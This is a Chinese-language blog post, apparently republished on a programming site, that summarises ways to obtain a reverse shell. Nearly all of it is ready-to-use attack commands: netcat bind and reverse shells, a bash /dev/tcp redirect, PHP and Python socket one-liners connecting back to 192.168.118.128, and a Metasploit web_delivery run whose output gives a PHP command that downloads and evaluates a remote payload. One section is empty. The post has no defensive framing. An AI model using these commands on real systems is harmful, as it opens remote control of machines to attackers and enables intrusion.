python反弹shell_反弹Shell小结

python反弹shell_反弹Shell小结1 NC 反弹 shell1 1 正向反弹 shell 服务器 nc lvvp7777 e bin bash 攻击机 ncserver ip77771 2 反向反弹 shell 攻击机 nc lvvp7777 服务器 nc e bin bashClient ip77771 3 不带 e 反弹 2 bash 反弹 shell2 1bash i 攻击机 nc lvvp7777 服务器 bash i amp

1、NC反弹shell

1.1、正向反弹shell

服务器

nc -lvvp 7777 -e /bin/bash

4bdd79934d4e4cfb8d61d887c4ca5f64.png

攻击机

nc  server-ip 7777

3f19f1d7366ce2c56b04133db9655104.png

1.2、反向反弹shell

攻击机

nc -lvvp 7777

760ec47a5f41c3ef95045b9cb383e229.png

服务器

nc -e /bin/bash Client-ip 7777

3595cfeceee06f33da70856431ef3f3e.png

1.3、不带-e反弹:

2、 bash反弹shell

2.1 bash -i

攻击机

nc -lvvp 7777

9b68248fe1427a39ee22b3d576e0a4fc.png

服务器

bash -i >& /dev/tcp/Client-IP/7777 0>&1

d5ee68387856fe1e244d1947279a74f1.png

3、PHP反弹shell

3.1  php -r

php -r ‘$sock=fsockopen(“192.168.118.128”,4444);exec(“/bin/sh -i &3 2>&3”);’

进行url编码:

581b25750e6b25677ec7d6d8ba287594.png

c846bbce1598b530382e889ea258cdf9.png

4、python反弹

4.1、python -c

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.118.128”,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”,”-i”]);’

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.118.128”,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

e6ca53c4cb96625d201585750565a112.png

182f688627febf9e238dc8b64c9ea9c6.png

5、metasploit

5.1、web_delivery

use exploit/multi/script/web_delivery

msf > use exploit/multi/script/web_delivery

msf exploit(web_delivery) > set target 1

target => 1

msf exploit(web_delivery) > set payload php/meterpreter/reverse_tcp

payload => php/meterpreter/reverse_tcp

msf exploit(web_delivery) > set lhost 192.168.118.128

lhost => 192.168.118.128

msf exploit(web_delivery) > set lport 6666

lport => 6666

msf exploit(web_delivery) > set SRVPORT 8888

SRVPORT => 8888

msf exploit(web_delivery) > run

[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.118.128:6666

[*] Using URL: http://0.0.0.0:8888/mDIK5UGRA8Qs76

[*] Local IP: http://192.168.118.128:8888/mDIK5UGRA8Qs76

[*] Server started.

[*] Run the following command on the target machine:

php -d allow_url_fopen=true -r “eval(file_get_contents(‘http://192.168.118.128:8888/mDIK5UGRA8Qs76’));”

1bd8b09d4b9cfaefd3fea499a3783a32.png

dbefe4eafd18dfd0c9656cfe68a8198b.png

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/222493.html原文链接:https://javaforall.net

(0)
上一篇 2026年3月17日 下午3:40
下一篇 2026年3月17日 下午3:40


相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号